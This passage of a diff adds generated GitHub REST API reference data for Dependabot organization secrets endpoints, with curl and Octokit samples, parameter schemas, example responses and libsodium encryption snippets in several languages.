+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"NPM_TOKEN\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2019-08-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2020-01-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"visibility\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"selected\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"selected_repositories_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/orgs/octo-org/dependabot/secrets/NPM_TOKEN/repositories\"</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "put",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME \\\n  -d '{\"visibility\":\"visibility\"}'",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME \\\n  -d '{\"visibility\":\"visibility\"}'</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('PUT /orgs/{org}/dependabot/secrets/{secret_name}', {\n  org: 'org',\n  secret_name: 'secret_name',\n  visibility: 'visibility'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'PUT /orgs/{org}/dependabot/secrets/{secret_name}'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>,\n  <span class=\"hljs-attr\">visibility</span>: <span class=\"hljs-string\">'visibility'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Create or update an organization secret",
+    "description": "Creates or updates an organization secret with an encrypted value. Encrypt your secret using\n[LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages). You must authenticate using an access\ntoken with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization\npermission to use this endpoint.\n\n#### Example encrypting a secret using Node.js\n\nEncrypt your secret using the [tweetsodium](https://github.com/github/tweetsodium) library.\n\n```\nconst sodium = require('tweetsodium');\n\nconst key = \"base64-encoded-public-key\";\nconst value = \"plain-text-secret\";\n\n// Convert the message and key to Uint8Array's (Buffer implements that interface)\nconst messageBytes = Buffer.from(value);\nconst keyBytes = Buffer.from(key, 'base64');\n\n// Encrypt using LibSodium.\nconst encryptedBytes = sodium.seal(messageBytes, keyBytes);\n\n// Base64 the encrypted secret\nconst encrypted = Buffer.from(encryptedBytes).toString('base64');\n\nconsole.log(encrypted);\n```\n\n\n#### Example encrypting a secret using Python\n\nEncrypt your secret using [pynacl](https://pynacl.readthedocs.io/en/stable/public/#nacl-public-sealedbox) with Python 3.\n\n```\nfrom base64 import b64encode\nfrom nacl import encoding, public\n\ndef encrypt(public_key: str, secret_value: str) -> str:\n  \"\"\"Encrypt a Unicode string using the public key.\"\"\"\n  public_key = public.PublicKey(public_key.encode(\"utf-8\"), encoding.Base64Encoder())\n  sealed_box = public.SealedBox(public_key)\n  encrypted = sealed_box.encrypt(secret_value.encode(\"utf-8\"))\n  return b64encode(encrypted).decode(\"utf-8\")\n```\n\n#### Example encrypting a secret using C#\n\nEncrypt your secret using the [Sodium.Core](https://www.nuget.org/packages/Sodium.Core/) package.\n\n```\nvar secretValue = System.Text.Encoding.UTF8.GetBytes(\"mySecret\");\nvar publicKey = Convert.FromBase64String(\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvvcCU=\");\n\nvar sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey);\n\nConsole.WriteLine(Convert.ToBase64String(sealedPublicKeyBox));\n```\n\n#### Example encrypting a secret using Ruby\n\nEncrypt your secret using the [rbnacl](https://github.com/RubyCrypto/rbnacl) gem.\n\n```ruby\nrequire \"rbnacl\"\nrequire \"base64\"\n\nkey = Base64.decode64(\"+ZYvJDZMHUfBkJdyq5Zm9SKqeuBQ4sj+6sfjlH4CgG0=\")\npublic_key = RbNaCl::PublicKey.new(key)\n\nbox = RbNaCl::Boxes::Sealed.from_public_key(public_key)\nencrypted_secret = box.encrypt(\"my_secret\")\n\n# Print the base64 encoded secret\nputs Base64.strict_encode64(encrypted_secret)\n```",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/create-or-update-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret"
+    },
+    "requestBody": {
+      "required": true,
+      "content": {
+        "application/json": {
+          "schema": {
+            "type": "object",
+            "properties": {
+              "encrypted_value": {
+                "type": "string",
+                "description": "<p>Value for your secret, encrypted with <a href=\"https://libsodium.gitbook.io/doc/bindings_for_other_languages\">LibSodium</a> using the public key retrieved from the <a href=\"https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key\">Get an organization public key</a> endpoint.</p>",
+                "pattern": "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4})$",
+                "name": "encrypted_value",
+                "in": "body",
+                "rawType": "string",
+                "rawDescription": "Value for your secret, encrypted with [LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages) using the public key retrieved from the [Get an organization public key](https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key) endpoint.",
+                "childParamsGroups": []
+              },
+              "key_id": {
+                "type": "string",
+                "description": "<p>ID of the key you used to encrypt the secret.</p>",
+                "name": "key_id",
+                "in": "body",
+                "rawType": "string",
+                "rawDescription": "ID of the key you used to encrypt the secret.",
+                "childParamsGroups": []
+              },
+              "visibility": {
+                "type": "string",
+                "description": "<p><strong>Required</strong>. Configures the access that repositories have to the organization secret. Can be one of:<br>\n- <code>all</code> - All repositories in an organization can access the secret.<br>\n- <code>private</code> - Private repositories in an organization can access the secret.<br>\n- <code>selected</code> - Only specific repositories can access the secret.</p>",
+                "enum": [
+                  "all",
+                  "private",
+                  "selected"
+                ],
+                "name": "visibility",
+                "in": "body",
+                "rawType": "string",
+                "rawDescription": "Configures the access that repositories have to the organization secret. Can be one of:  \n\\- `all` - All repositories in an organization can access the secret.  \n\\- `private` - Private repositories in an organization can access the secret.  \n\\- `selected` - Only specific repositories can access the secret.",
+                "childParamsGroups": []
+              },
+              "selected_repository_ids": {
+                "type": "array of strings",
+                "description": "<p>An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the <code>visibility</code> is set to <code>selected</code>. You can manage the list of selected repositories using the <a href=\"https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret\">List selected repositories for an organization secret</a>, <a href=\"https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret\">Set selected repositories for an organization secret</a>, and <a href=\"https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret\">Remove selected repository from an organization secret</a> endpoints.</p>",
+                "items": {
+                  "type": "string"
+                },
+                "name": "selected_repository_ids",
+                "in": "body",
+                "rawType": "array",
+                "rawDescription": "An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the `visibility` is set to `selected`. You can manage the list of selected repositories using the [List selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret), [Set selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret), and [Remove selected repository from an organization secret](https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) endpoints.",
+                "childParamsGroups": []
+              }
+            },
+            "required": [
+              "visibility"
+            ]
+          },
+          "example": {
+            "encrypted_value": "c2VjcmV0",
+            "key_id": "012345678912345678",
+            "visibility": "selected",
+            "selected_repository_ids": [
+              "1296269",
+              "1296280"
+            ]
+          }
+        }
+      }
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "create-or-update-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "contentType": "application/json",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "201",
+        "httpStatusMessage": "Created",
+        "description": "Response when creating a secret"
+      },
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "Response when updating a secret"
+      }
+    ],
+    "descriptionHTML": "<p>Creates or updates an organization secret with an encrypted value. Encrypt your secret using\n<a href=\"https://libsodium.gitbook.io/doc/bindings_for_other_languages\">LibSodium</a>. You must authenticate using an access\ntoken with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization\npermission to use this endpoint.</p>\n<h4 id=\"example-encrypting-a-secret-using-nodejs\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-nodejs\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using Node.js</h4>\n<p>Encrypt your secret using the <a href=\"https://github.com/github/tweetsodium\">tweetsodium</a> library.</p>\n<pre><code>const sodium = require('tweetsodium');\n\nconst key = \"base64-encoded-public-key\";\nconst value = \"plain-text-secret\";\n\n// Convert the message and key to Uint8Array's (Buffer implements that interface)\nconst messageBytes = Buffer.from(value);\nconst keyBytes = Buffer.from(key, 'base64');\n\n// Encrypt using LibSodium.\nconst encryptedBytes = sodium.seal(messageBytes, keyBytes);\n\n// Base64 the encrypted secret\nconst encrypted = Buffer.from(encryptedBytes).toString('base64');\n\nconsole.log(encrypted);\n</code></pre>\n<h4 id=\"example-encrypting-a-secret-using-python\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-python\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using Python</h4>\n<p>Encrypt your secret using <a href=\"https://pynacl.readthedocs.io/en/stable/public/#nacl-public-sealedbox\">pynacl</a> with Python 3.</p>\n<pre><code>from base64 import b64encode\nfrom nacl import encoding, public\n\ndef encrypt(public_key: str, secret_value: str) -> str:\n  \"\"\"Encrypt a Unicode string using the public key.\"\"\"\n  public_key = public.PublicKey(public_key.encode(\"utf-8\"), encoding.Base64Encoder())\n  sealed_box = public.SealedBox(public_key)\n  encrypted = sealed_box.encrypt(secret_value.encode(\"utf-8\"))\n  return b64encode(encrypted).decode(\"utf-8\")\n</code></pre>\n<h4 id=\"example-encrypting-a-secret-using-c\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-c\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using C#</h4>\n<p>Encrypt your secret using the <a href=\"https://www.nuget.org/packages/Sodium.Core/\">Sodium.Core</a> package.</p>\n<pre><code>var secretValue = System.Text.Encoding.UTF8.GetBytes(\"mySecret\");\nvar publicKey = Convert.FromBase64String(\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvvcCU=\");\n\nvar sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey);\n\nConsole.WriteLine(Convert.ToBase64String(sealedPublicKeyBox));\n</code></pre>\n<h4 id=\"example-encrypting-a-secret-using-ruby\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-ruby\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using Ruby</h4>\n<p>Encrypt your secret using the <a href=\"https://github.com/RubyCrypto/rbnacl\">rbnacl</a> gem.</p>\n<pre><code class=\"hljs language-ruby\"><span class=\"hljs-keyword\">require</span> <span class=\"hljs-string\">\"rbnacl\"</span>\n<span class=\"hljs-keyword\">require</span> <span class=\"hljs-string\">\"base64\"</span>\n\nkey = Base64.decode64(<span class=\"hljs-string\">\"+ZYvJDZMHUfBkJdyq5Zm9SKqeuBQ4sj+6sfjlH4CgG0=\"</span>)\npublic_key = RbNaCl::PublicKey.new(key)\n\nbox = RbNaCl::Boxes::Sealed.from_public_key(public_key)\nencrypted_secret = box.encrypt(<span class=\"hljs-string\">\"my_secret\"</span>)\n\n<span class=\"hljs-comment\"># Print the base64 encoded secret</span>\nputs Base64.strict_encode64(encrypted_secret)\n</code></pre>",
+    "bodyParameters": [
+      {
+        "type": "string",
+        "description": "<p>Value for your secret, encrypted with <a href=\"https://libsodium.gitbook.io/doc/bindings_for_other_languages\">LibSodium</a> using the public key retrieved from the <a href=\"https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key\">Get an organization public key</a> endpoint.</p>",
+        "pattern": "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4})$",
+        "name": "encrypted_value",
+        "in": "body",
+        "rawType": "string",
+        "rawDescription": "Value for your secret, encrypted with [LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages) using the public key retrieved from the [Get an organization public key](https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key) endpoint.",
+        "childParamsGroups": []
+      },
+      {
+        "type": "string",
+        "description": "<p>ID of the key you used to encrypt the secret.</p>",
+        "name": "key_id",
+        "in": "body",
+        "rawType": "string",
+        "rawDescription": "ID of the key you used to encrypt the secret.",
+        "childParamsGroups": []
+      },
+      {
+        "type": "string",
+        "description": "<p><strong>Required</strong>. Configures the access that repositories have to the organization secret. Can be one of:<br>\n- <code>all</code> - All repositories in an organization can access the secret.<br>\n- <code>private</code> - Private repositories in an organization can access the secret.<br>\n- <code>selected</code> - Only specific repositories can access the secret.</p>",
+        "enum": [
+          "all",
+          "private",
+          "selected"
+        ],
+        "name": "visibility",
+        "in": "body",
+        "rawType": "string",
+        "rawDescription": "Configures the access that repositories have to the organization secret. Can be one of:  \n\\- `all` - All repositories in an organization can access the secret.  \n\\- `private` - Private repositories in an organization can access the secret.  \n\\- `selected` - Only specific repositories can access the secret.",
+        "childParamsGroups": []
+      },
+      {
+        "type": "array of strings",
+        "description": "<p>An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the <code>visibility</code> is set to <code>selected</code>. You can manage the list of selected repositories using the <a href=\"https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret\">List selected repositories for an organization secret</a>, <a href=\"https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret\">Set selected repositories for an organization secret</a>, and <a href=\"https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret\">Remove selected repository from an organization secret</a> endpoints.</p>",
+        "items": {
+          "type": "string"
+        },
+        "name": "selected_repository_ids",
+        "in": "body",
+        "rawType": "array",
+        "rawDescription": "An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the `visibility` is set to `selected`. You can manage the list of selected repositories using the [List selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret), [Set selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret), and [Remove selected repository from an organization secret](https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) endpoints.",
+        "childParamsGroups": []
+      }
+    ]
+  },
+  {
+    "verb": "delete",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X DELETE \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X DELETE \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('DELETE /orgs/{org}/dependabot/secrets/{secret_name}', {\n  org: 'org',\n  secret_name: 'secret_name'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'DELETE /orgs/{org}/dependabot/secrets/{secret_name}'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Delete an organization secret",
+    "description": "Deletes a secret in an organization using the secret name. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/delete-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#delete-an-organization-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "delete-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "Response"
+      }
+    ],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Deletes a secret in an organization using the secret name. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>"
+  },
+  {
+    "verb": "get",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}/repositories",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      },
+      {
+        "name": "page",
+        "description": "Page number of the results to fetch.",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 1
+        },
+        "descriptionHTML": "<p>Page number of the results to fetch.</p>"
+      },
+      {
+        "name": "per_page",
+        "description": "Results per page (max 100)",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 30
+        },
+        "descriptionHTML": "<p>Results per page (max 100)</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories', {\n  org: 'org',\n  secret_name: 'secret_name'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "List selected repositories for an organization secret",
+    "description": "Lists all repositories that have been selected when the `visibility` for repository access to a secret is set to `selected`. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/list-selected-repos-for-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "list-selected-repositories-for-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Lists all repositories that have been selected when the <code>visibility</code> for repository access to a secret is set to <code>selected</code>. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"total_count\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-number\">1</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"repositories\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-punctuation\">[</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-number\">1296269</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"node_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"MDEwOlJlcG9zaXRvcnkxMjk2MjY5\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"Hello-World\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"full_name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"octocat/Hello-World\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"owner\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-punctuation\">{</span>\n        <span class=\"hljs-attr\">\"login\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"octocat\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-number\">1</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"node_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"MDQ6VXNlcjE=\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"avatar_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://github.com/images/error/octocat_happy.gif\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"gravatar_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"html_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://github.com/octocat\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"followers_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/followers\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"following_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/following{/other_user}\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"gists_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/gists{/gist_id}\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"starred_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/starred{/owner}{/repo}\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"subscriptions_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/subscriptions\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"organizations_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/orgs\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"repos_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/repos\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"events_url\"</span><span class=\"hljs-punctuation\">:</span> <span 